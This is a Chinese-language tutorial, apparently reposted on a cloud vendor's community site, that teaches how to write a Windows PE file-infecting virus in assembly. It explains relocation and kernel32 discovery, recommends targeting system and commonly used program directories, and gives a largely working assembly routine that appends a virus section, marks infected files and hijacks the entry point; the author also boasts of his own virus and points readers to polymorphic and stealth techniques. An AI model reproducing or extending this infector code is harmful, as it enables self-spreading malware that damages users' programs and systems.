如何寫一個簡單的病毒程式

來源:互聯網
上載者:User
現這門技術實際上隱藏著很多玄機,包含著許多技術,不專門學習研究根本無法達到“牛”的境界上去。如今寫了這篇文章,介紹的都是相當實用的東西,可以讓你少走許多彎路(有時侯一個錯誤夠你找幾個小時的)。不過需要些基礎知識才能看懂。假如你有天知識儲備夠了,不學學病毒將是你的遺憾。另,由於是寫給協會會員參考的,也沒寫的多“專業”,多了些贅述。

       在你看之前,你應該知道這隻是篇可以帶你入門的文章,如果你已經會了就不用看了。看的時候最好準備個PE表在旁邊。寫病毒程式可以使用很多種語言來寫比如C,彙編,甚至有人用Dephi這樣可視化編程工具都能寫出來。但是最適合寫病毒程式的還是組合語言。組合語言底層,靈活,速度快,體積小的優勢能將一個病毒程式發揮到極至,通常一個程式寫出來才幾KB就包含了所有的功能。一般一個病毒都有如下幾個功能:

一 代碼重定位

二 自己找到所需API地址

三 搜尋檔案、目錄

四 感染檔案

五 破壞系統或檔案(隨便你了)

其中一,二項功能是必要的,五項功能是可選的。而一個病毒程式感染檔案的功能是它的核心,是衡量它品質的重要標準。

(一)代碼的重定位

一個變數或函數其實是一個記憶體位址,在編譯好後,程式中的指令通過變數或函數的記憶體位址再去存取他們,這個地址是個絕對位址。如果你將代碼插入到其他任何地方,再通過原來編譯時間產生的地址去找他們就找不到了,因為他們已經搬家了。但是,你在寫程式時考慮到這個問題,你就可以在代碼最開始,放上幾行代碼取得程式基地址,以後變數和函數作為位移地址,顯式的加上這個基地址就能順利找到了,這就是重定位。就象這段代碼。

Call getbaseaddress

Getbaseaddress:pop ebx

Sub ebx,offset getbaseaddress

Mov eax,dword ptr [ebx+Var1]

如果你使用宏組合語言寫病毒,請盡量使用ebx做基地址指標,不要使用ebp,因為ebp在調用帶參數的函數時會改變。

(二)自己取得所需的API地址

一個win32程式檔案,所調用的API函數地址,是由系統填入到程式檔案中描述各類資料位元置的資料結構中的。而病毒作為一個殘廢是享受不到這個待遇的。因為你在把病毒的代碼插入目標程式時沒有把這些描述資料存放位置的資料結構資訊也弄進去。它被插入到其他目標程式後就成了只有代碼的殘廢兒童:(所以作為一個殘廢兒童,應當自力更生。自己搜尋自己需要的API地址。目標程式檔案就包含了我們需要的東西,我們需要自己去找。目標程式檔案只要還是win32程式,它的地址空間中就包含的有Kernel32.dll。如果找到了它,我們就能找到其他任何的東東。第一步,搜尋kernel32.dll的基地址。當然了,整個地址空間有4GB,可供搜尋的使用者進程空間也有2GB。在2GB中搜尋,太嚇人了。總不能在執行被感染的目標程式時,先讓使用者喝杯茶吧?或者鬥鬥地主?這裡有兩個技巧向大家介紹。

在程式被載入後,載入程式會調用程式的主線程的第一條指令的位置。它使用的指令是CALL,就是說,你程式還沒執行,堆棧區裡就有了一個返回地址了,這個返回地址指向的是載入程式,而載入程式是包含在KERNEL32.dll中的,我們順著它向上找,就能找到kernel32.dll的基地址了。當然也不是一個位元組一個位元組的挨者找,而是一個頁面一個頁面地找。因為win32下,代碼或資料的開始位置總是頁面單位(windows平台下為4kb)對齊的。Kernel32.dll是一個PE檔案,我們按比較PE檔案dos簽名標誌和PE簽名標誌的方法找。另外還有個辦法是通過SHE技術找。這是最好的辦法了,前一個辦法因為堆棧是動態原因不穩定,一般只能將擷取地址的代碼塊放在最開頭,這個方法完全是與堆棧無關的,放在哪裡執行都不會出錯,如果你的病毒需要用一些遠程線程之類的技術,最好用這個方法。

SHE結構,第一個成員指向下一個SEH結構,如果是最後一個那麼它的值就是0ffffffffh。第二個成員指向異常處理函數,如果是最後一個SHE結構且沒有指定的話,預設的是SetUnhandlederExceptionFilter函數地址。當異常觸發這個函數時就會彈出一個對話方塊,問你發不發送錯誤。98下顯示藍屏。這個函數是包含在KERNEL32.dll中的,只要取得它的地址向上找就能找到KERNEL32.dll的基地址了。在說SHE時總忘不了TEB,TEB是建立一個線程時分配的線程相關的資料結構,SHE只是它開頭第一個資料結構體而已。它還包含了其他許多重要的東西,TEB由FS段選取器指向,有興趣的查查資料,這裡篇幅原因就不再多說了。接著上面的,看看如何找SetUnhanderExceptionFilter函數地址。先根據“下一個”SHE結構的值定位到最後一個SHE結構,這時取出she處理函數的地址,就是SetUnHandleredEceptionFilter函數地址了,以頁面為單位向上找就可以找到Kernel32.dll了/

得到Kernel32.dll的基地址後,定位到它的匯出表,找出GetProcAddress地址再利用GetProcAddress就能找到其他任何所需要的函數了。在搜尋API時應該注意API的名字,API的名字實際的匯出名字很有可能不是你調用時的名字,windows下很多API都有兩個版本ANSI版和UNICODE版,ANSI版函數名尾碼帶個A,比如CreateWindowExA,,而UNICODE版的函數名帶個W尾碼,比如CreateWindowExW。不過考慮到麻煩問題,現有的很多編譯器都不讓你寫尾碼,只是在編譯的時候根據你程式是ANSI版的還是UNICODE版的自動改名字。Win2K以後的API函數都是Unicode 版本的,如果調用ANSI版本的函數,系統只是將函數中的字串通過進程預設堆將其轉換成Unicode字串,再調用Unicode版的API。Unicode是個發展方向,大家應該養成使用它的習慣而不是ANSI。

(三)搜尋檔案、目錄

       主要是用FindFirstFile,FindNextFile,FindClose.這三個函數實現。值得注意的是在用“*.*”搜尋字串時得到的是程式檔案所在目錄的所有檔案和目錄。而GetCurrentDirectory取得的是系統當前的目錄。後者是隨時會隨著使用者的操作而改變的,前者只會隨著目標程式檔案的位置改變而改變。搜尋需要感染的目錄和檔案時應該重點搜尋windows安裝目錄(GetWindowsDirectory),系統目錄(GetSystemDIrectory),目前的目錄(GetCurrentDirectory) ,當然程式目前的目錄也是不可放過的,比如,你把QQ感染了,QQ目錄底下那麼多常常使用的程式檔案,比如珊瑚蟲外掛,郵箱工具等等都是你的盤中餐了。我最喜歡感染的地方還是系統中各個進程所在的目錄,那些才是使用者最常用的,我的遂寧一號病毒是通過代碼插入的辦法做到這點的,很麻煩,且很不穩定。常常莫名其妙的使被插入進程在插入時結束掉,雖然可以用SHE避免,但是還是沒多大效果。我現在正在構想我的下一個病毒,那時我將會使用PEB來枚舉各個進程所在的目錄了,不再使用代碼插入了,會使病毒穩定的多的,我在遂寧一號中枚舉進程使用的是toolhelp系列函數這樣使病毒在Windows98也能正常運行。

(四)感染檔案

所謂感染就是將病毒程式的代碼插入到目標程式中,然後讓目標程式先執行病毒程式的代碼。至於將代碼插入到目標程式的什麼位置上,如何使目標程式執行插入的病毒代碼,什麼時機對什麼檔案進行感染都是感染問題的核心。首先討論將病毒代碼插入到目標程式的什麼位置才生效。

Windows平台下的可執行檔都是PE格式的,這種格式的檔案,你可以將它看成兩大部分。第一部分是描述各類資料存放位置的資料結構,第二部分就是各種資料,比如資源,代碼,資料等等。因此,想將代碼正確插入到目標程式檔案中,就要讀取和修改目標程式檔案中描述各類資料存放位置的資料結構了。下面我們來計算下我們的代碼插入的位置,在這裡我們講一個最簡單的插入方法,通過在檔案中增加一個新的節區來實現。

push eax

 

push FILE_ATTRIBUTE_NORMAL

push eax

call DWORD ptr [ebx+SetFileAttributes1]

 

pop eax

 

push NULL

push FILE_ATTRIBUTE_NORMAL

push OPEN_EXISTING

push NULL

push 0

push GENERIC_READ or GENERIC_WRITE 

push eax

call DWORD ptr [ebx+ CreateFile1]

 

inc eax

jz @error1

 
dec eax

mov DWORD ptr [ebx+hFile],eax

上面那幾步就用不著多說了吧,就是開啟檔案嘛!檔案名稱指標放在eax裡頭的

 

push NULL

push DWORD ptr [ebx+hFile]

call DWORD ptr [ebx+GetFileSize1]

 

mov DWORD ptr [ebx+dwFileSize],eax

 

push NULL

push 0

push 0

push PAGE_READWRITE

push NULL

push DWORD ptr [ebx+hFile]

call DWORD ptr [ebx+CreateFileMapping1]

or eax,eax

jz @error1

mov DWORD ptr [ebx+hMap],eax

push 0

push 0

push 0

push FILE_MAP_READ or FILE_MAP_WRITE

push DWORD ptr [ebx+hMap] 

call DWORD ptr [ebx+MapViewOfFile1]

or eax,eax

jz @error1

mov DWORD ptr [ebx+pMap],eax

mov esi,eax

cmp WORD ptr [esi],'ZM'

jnz @error1

add esi,DWORD ptr [esi+3ch]

cmp WORD ptr [esi],'EP'

jnz @error1

cmp DWORD ptr [esi+4ch],'1.ns'

jz @error1

這幾步是對檔案進行映射,然後判斷該檔案是不是PE格式檔案,是不是已經被感染過了?如果這兩個條件有一個滿足就說明沒有感染它的必要了,跳到@error1上去。

 

mov eax,DWORD ptr [ebx+dwFileSize]

 

add eax,Virus_End-Virus_Start

mov ecx,DWORD ptr [esi+3ch]

call Align1

剛剛取得了檔案的大小,現在將它和病毒的體積相加,然後進行檔案對齊,注意檔案對齊是必須的。Align1是個對齊子程式,對齊後的值放在eax中的,對齊因子放在ecx中的。

說到這我火又來了,我開始看的教程,這篇文章講的對齊方法有錯誤,我沒察覺,有一次為了這個錯誤浪費了我3個通宵我當時都快失去自信了。這個錯誤就是對齊,所謂對齊就是將一個數(未對齊的數)整成另一個數的倍數(對齊因子)他講的對齊方法是這樣的,他說,先用未對齊的數去除以對齊因子,再用對齊因子減去餘數,再用未對齊的數加上這個減去後的數。我開始驗算了幾個值都對,而且大多數檔案也能正確感染,但是就是有那麼幾個檔案一感染就出問題。後來發現是檔案對齊的問題了,於是換了個更符合邏輯容易想通的辦法,一個未對齊的數總是對齊因子的倍數,我們先找出未對齊的數是對齊因子的幾倍,所以用未對齊的數除以對齊因子,如果有餘數說明沒對齊,還差一倍,將商加個一乘以對齊因子,這樣就得到對齊後的值了。如是對齊因子本身比原數大的話,那就還是有餘數,加上一乘以對齊因子,就是對齊因子的一倍,所以這個方法既簡單又符合邏輯。這才是方法。不過我也不怎麼太怪那個Billy Belceb,因為他寫電子教程時才16歲。16歲能寫出那樣有深度的文章已經是難能可貴了。佩服~~~。

mov DWORD ptr [ebx+dwFileSize],eax

push DWORD ptr [ebx+pMap]

call DWORD ptr [ebx+UnmapViewOfFile1]

push DWORD ptr [ebx+hMap]

call DWORD ptr [ebx+CloseHandle1]

push 0

push DWORD ptr [ebx+dwFileSize]

push 0

push PAGE_READWRITE

push 0

push  DWORD ptr [ebx+hFile ]

call DWORD ptr [ebx+CreateFileMapping1]

or eax,eax

jz @error1

mov  DWORD ptr [ebx+hMap] ,eax

push 0

push 0

push 0

push FILE_MAP_READ or FILE_MAP_WRITE

push DWORD ptr [ebx+hMap]

call DWORD ptr [ebx+MapViewOfFile1]

or eax,eax

jz @error1

mov  DWORD ptr [ebx+pMap],eax

根據對齊後新的檔案大小對檔案重新對應全部檔案視圖。這時,檔案在磁碟上的大小也相應增加了。

 

mov esi,eax

add esi,DWORD ptr [esi+3ch]

下面兩行代碼能夠確保感染程式在xp下運行時不會彈出個不能載入某某DLL的錯誤對話方塊!!在我不知道的時候,我曾經編寫了一個低水平的病毒,這個病毒能感染很多檔案。我當時認為病毒感染就是這樣了,但是有一天,我發現被病毒感染後的記事本程式無法使用,總是提示“非法win32程式”我將病毒重新寫了一次,把代碼改了一些,但是仍然沒有效果。我非常失望,上網看文章玩。無意中看到老羅的一篇文章,其中有個地方他專門寫注釋感激一位在技術協助了他的人,指出某某處應該清0。看來他也曾經遇到過這個問題,我將他的代碼添加到我的程式中,奇蹟發現了,能正常感染了。我後來查了許多資料也沒找到這個結構是做什麼的,只知道它是IMAGE_DATA_DIRECTORY的第11個成員。

push 0

pop [esi+IMAGE_NT_HEADERS.OptionalHeader.DataDirectory(88)]

 

mov ecx,DWORD ptr [esi+74h]

shl ecx,3

xor edx,edx

lea edi,[ecx+esi+78h]

movzx eax,WORD ptr [esi+6h]

imul eax,eax,28h

add edi,eax ;定位到最後一個節結尾

;開始填充新增的節結構體

這段代碼很簡單就是定位到節表後頭即最後一個節的結尾處。你也許可以使用SizeOfHeader加上NumberOfSection*節大小28h但是我仍然比較我現在使用的方法。原因是肯定相容性好的多,我的這個方法是取得IMAGE_DATA_DIRECTORY的個數乘上其大小在加上其他頭剩餘的大小。再加上 節表的個數*節的大小28h。有很多病毒都是用的這種方法。為什嗎?我覺得Windows將來也許會擴充IMAGE_DATA_DIRECTORY成員的個數吧。所以動態取得它比較好點。好了,現在edi已經指向節表末尾了,如今是新添加節的地盤了:(馬上給它填我們的節表內容。

mov DWORD ptr [edi],'1ns'

mov DWORD ptr [edi+8],Virus_End-Virus_Start

這裡填入節的名字sn1(這個域有8個位元組喲),並且給Virtual Size(有的地方稱作Physical Size)我的病毒的大小值,這個值不需要對齊。說到對齊,大家要清楚一個概念就是記憶體中的資料節對齊,檔案中的資料檔案對齊。

mov ecx,DWORD ptr [esi+38h]

mov eax,DWORD ptr [edi-28h+0ch]

add eax,DWORD ptr [edi-28h+8h]

mov ecx,DWORD ptr [esi+38h]

invoke Align1

mov DWORD ptr [edi+0ch],eax

取得節對齊後,給節的Virtual Address成員即在記憶體中裝入本節時的記憶體位址賦值。方法是取得上一個節的起始地址加上上一節的未對齊的大小即Virtual Size還要經過節對齊,就可以了。

 

mov ecx,DWORD ptr [esi+3ch]

mov eax,Virus_End-Virus_Start

invoke Align1

mov DWORD ptr [edi+10h],eax

現在我們該給節的SizeOfRawData給值了。這個域是指節在檔案中的大小,必須要經過檔案對齊,那好,我們取得病毒大小,檔案對齊後就行了

mov eax,DWORD ptr [edi-28h+10h]

add eax,DWORD ptr [edi-28h+14h]

mov DWORD ptr [edi+14h],eax

還有個節在檔案中位移的值叫PointerToRawData,這個值的計算方法是上一個節的SizeOfRawData加上上一個節的PointerToRawData。為什麼呢?自己動腦殼吧。不動腦殼學會了也沒用。

mov DWORD ptr [edi+24h],0E00000E0h

這個域是最好理解的了,成員名字叫Characteristics中文意思是屬性。有可讀,可讀可寫,可執行,可共用等等,比較重要的幾個屬性就是我列出的幾個,其中可共用是比較難理解的,講講,可共用屬性可以讓該節的資料或代碼拒絕寫時拷貝(Copy On Write),什麼是寫時拷貝呢,比如記事本有10個執行個體在運行,Windows就給同樣的程式分配10個同樣大小的進程空間,微軟可沒那麼傻,他為了能節省記憶體使用量了一種技術叫寫入時拷貝。10個記事本同時運行就將10個記事本的進程空間映射到1個相同的實體記憶體上去,當有一個記事本想往裡面寫入時,資料一變全變,就會影響了其他9個記事本,但是有了寫入時拷貝技術的幹涉,就給那個寫入資料的記事本另外分配塊記憶體,將新分配的實體記憶體影射到記事本寫入的那塊進程空間地址上去,並且將原來的資料拷貝到這塊新的記憶體中去,這樣它再寫入時就是寫的新記憶體了,高興寫啥都不會影響其他的進程。如果還沒懂的去看看“windows核心編程”記憶體管理那部分。再回到我們的感染問題上來,如果你的節有共用屬性,就意味著它拒絕寫入時拷貝技術,就是那個寫資料的記事本,將會影響到其他9個記事本了,如果這是個變數的話,就是10個記事本都可以影響到的全域或稱共用變數了。

mov eax,DWORD ptr [edi+0ch]

add eax,Start-Virus_Start

上面兩行代碼是將病毒的代碼進入點計算出來後頭有用,計算方法簡單,是我病毒開始執行地方的標號Start減去病毒開始的地方標號Virus_Start,你可能會有點不理解,這是因為病毒開始的地方不是我病毒開始執行代碼的地方,我病毒開始執行代碼的地方前面有一大段的資料,這些資料也是包含在程式碼片段裡的。就是說我的病毒只有一個節.text。(代碼節叫。Text)-

push DWORD ptr [esi+28h]

pop DWORD ptr [ebx+oldip]

儲存目標檔案原來的代碼進入點,這是個位移而已,如果真的要跳回原來的代碼進入點還不能只執行AddressOfEntryPointer(原來代碼進入點的指標),還要加個ImageBase成員再跳,否則就等於使你的病毒自殺。為啥?因為AddressOfEntryPointer 是個位移,數字較小,一跳就很有可能會跳到2GB以上的系統進程空間去了,你看微軟饒的了你不。除非你使用SHE。

push eax

pop DWORD ptr [esi+28h]

現在將上一步的上一步計算出來的病毒的代碼進入點地址加上了本節的位移地址Virtual Address成員的值,填進去。為啥要連加兩個位移呢?因為你腦殼不會拐彎:(

;計算新的sizeofimage

mov eax,Virus_End-Virus_Start

add eax,DWORD ptr [esi+50h]

mov ecx,DWORD ptr [esi+38h]

invoke Align1

mov DWORD ptr [esi+50h],eax

這個SizeOfImage成員搞不好很要命的喲!Windows2000下這個值稍微有點沒對齊好就拜拜。很多人曾經在這個地方吃過虧,FT。這個值的意思是整個可執行體映射後在記憶體中的大小。將你新增的大小加上原來SIzeOfImage經過節對齊就好了。如果你哪天感染了的檔案無法運行,先看看這有問題沒有。

inc WORD ptr [esi+6h]

剛剛增加了一個節,現在將NumberOfSection的值加一

push DWORD ptr [esi+34h]

pop DWORD ptr [ebx+oldbase]

取得程式檔案運行時的記憶體基地址。我們的病毒使用了重定位,用不到它,但是我們要跳回原來程式檔案的代碼進入點繼續執行,就要用它,前面已經說的很清楚了。

mov eax,DWORD ptr [edi+10h];取得檔案位移

add eax,DWORD ptr [edi+14h];加上檔案大小,呵呵,檔案位移加大小,又是最後一個節,聰明的你可能已經想到了,這分明就是檔案結尾麼,這個東東留到後頭用。

 

 

 

and  DWORD ptr [ebx+IsInject],0;這個值不管,這是我插入其他進程用到的一個標誌變數。

push eax

mov DWORD ptr [esi+4ch],'1.ns'

mov ecx,Virus_End-Virus_Start

mov edi,DWORD ptr [edi+14h]

add edi,DWORD ptr [ebx+pMap]

lea esi,[ebx+Virus_Start]

rep movsb

上面的代碼主要功能是按照我們新增加的節的PointerToRawData指向的位置把病毒代碼寫進去。

push  DWORD ptr [ebx+pMap ]

call DWORD ptr [ebx+UnmapViewOfFile1]

 

push DWORD ptr [ebx+hMap ]

call DWORD ptr [ebx+CloseHandle1]

關閉記憶體對應檔,不懂的去複習Win32Api去吧。

pop eax

 

push FILE_BEGIN

push 0

push eax

push DWORD ptr [ebx+hFile ]

call  DWORD ptr [ebx+SetFilePointer1]

將檔案指標從到檔案開頭移動到新的檔案結尾處。

push DWORD ptr [ebx+hFile ]

call DWORD ptr [ebx+SetEndOfFile1]

設定檔案指標指向的位置為結束位置,(實際上是在調整檔案大小)為什麼要這麼做呢?因為開始的時候我將檔案對應時將檔案大小改成 原檔案大小+未對齊的病毒體大小。然而這個大小不正確,應該是 原檔案大小+病毒體對齊後的大小,所以我又調用了一次函數重新將檔案末尾改成了 我新加節的 PointerToRawData+SizeOfRawData處,相當於大小等於 原檔案大小+SizeOfRawData SizeOfRawData成員就是病毒體對齊後的大小了,當然你可以在一開始就按照  原檔案大小+病毒體對齊後的大小進行映射,這樣更好,少調用幾個函數。我打算在我下一個病毒的版本進行大大的改造,這樣的垃圾代碼不會再出現了。

@error1:

push DWORD ptr [ebx+hFile]

call DWORD ptr [ebx+CloseHandle1]

關閉檔案,這時檔案就順利改變了。

push DWORD ptr [ebx+pMap]

call DWORD ptr [ebx+UnmapViewOfFile1]

 
push DWORD ptr [ebx+hMap]

call DWORD ptr [ebx+CloseHandle1]

ret

最後說點點,這篇文章很垃圾,更象我的學習筆記,哈哈。寫這個我承認也加深了我的記憶,但是我希望大家能通過我的這篇垃圾文章,在學習病毒技術的曲折路程中少犯錯誤,因為我已經當了替死鬼了,你們沒有必要再死一次了。新手在寫病毒這樣的程式犯錯誤是很可怕的,也許是致命的,因為幾乎找不到人講,而且這裡面的錯誤往往都不是程式的語法錯誤那麼簡單,需要你對全盤的分析,系統的全面瞭解,才能快速的定位錯誤。我犯了許多次錯誤,有很多錯誤是在通宵過程中犯的“低級”錯誤。我浪費了很多調試時間,FT。另外文章沒有講那麼多高明的技術,因為我也在探索中。大家學會了這篇文章中的內容,可以看看 進入點模糊技術,多態感染引擎技術,虛擬機器技術。簡單實用的有 怎樣感染檔案而不改變檔案大小的技術,PEB和TEB結構體,代碼插入技術。越往後學,對你的彙編功底要求越高,大家在提高技術的同時也應該學點彙編方面的知識,比如 保護模式下編程,一些指令集 如MMX。上面介紹的知識,我只瞭解一點點,我也是肉雞一個。往後還有很多書需要看,88。

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.